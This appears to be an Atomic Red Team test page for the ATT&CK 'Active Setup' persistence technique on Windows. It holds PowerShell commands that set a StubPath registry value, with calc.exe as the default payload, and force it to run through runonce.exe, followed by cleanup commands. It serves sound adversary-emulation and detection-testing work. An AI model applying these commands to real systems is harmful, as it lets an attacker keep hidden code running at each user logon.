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Active Setup

Description from ATT&CK

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.

Adversaries may abuse Active Setup by creating a key under ** HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components** and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)

Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Atomic Tests

Atomic Test #1 - HKLM - Add atomic_test key to launch executable as part of user setup

This test will create an "atomic_test" key under 'HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components' to launch calc by configuring an active setup executable and forcing to run active setup using the "runonce.exe /AlternateShellStartup" command. Without the "runonce.exe /AlternateShellStartup" command it would run during the next logon for each user.

Note: If you logout before running the cleanup command, you will be required to go through the OOBE (out-of-box experience) setup sequence to log back in. The payload will only run once unless the cleanup command is run in between tests.

Active Setup Explained

Supported Platforms: windows

auto_generated_guid: deff4586-0517-49c2-981d-bbea24d48d71

Inputs:

Name Description Type Default Value
payload Payload to run once during login String C:\Windows\System32\calc.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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New-Item "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components" -Name "atomic_test" -Force
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" "(Default)" "ART TEST" -Force
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" "StubPath" "#{payload}" -Force 
& $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup

Cleanup Commands:

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Remove-Item "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" -Force -ErrorAction Ignore
Remove-Item "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" -Force -ErrorAction Ignore

Atomic Test #2 - HKLM - Add malicious StubPath value to existing Active Setup Entry

This test will add a StubPath entry to the Active Setup native registry key associated with 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) Said key doesn't have a StubPath value by default, by adding one it will launch calc by forcing to run active setup using runonce.exe /AlternateShellStartup. Without the last command it will normally run on next user logon. Note: this test will only run once successfully if no cleanup command is run in between test.

Supported Platforms: windows

auto_generated_guid: 39e417dd-4fed-4d9c-ae3a-ba433b4d0e9a

Inputs:

Name Description Type Default Value
payload Payload to run once during login String C:\Windows\System32\calc.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" "StubPath" "#{payload}" -Force
& $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup

Cleanup Commands:

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Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "StubPath" -Force
Remove-ItemProperty "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "Version" -Force

Atomic Test #3 - HKLM - re-execute 'Internet Explorer Core Fonts' StubPath payload by decreasing version number

This test will decrease the version number of the 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) registry key for the current user, which will force the StubPath payload (if set) to execute.

Supported Platforms: windows

auto_generated_guid: 04d55cef-f283-40ba-ae2a-316bc3b5e78c

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "Version" -Value "0,0,0,0"
& $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup

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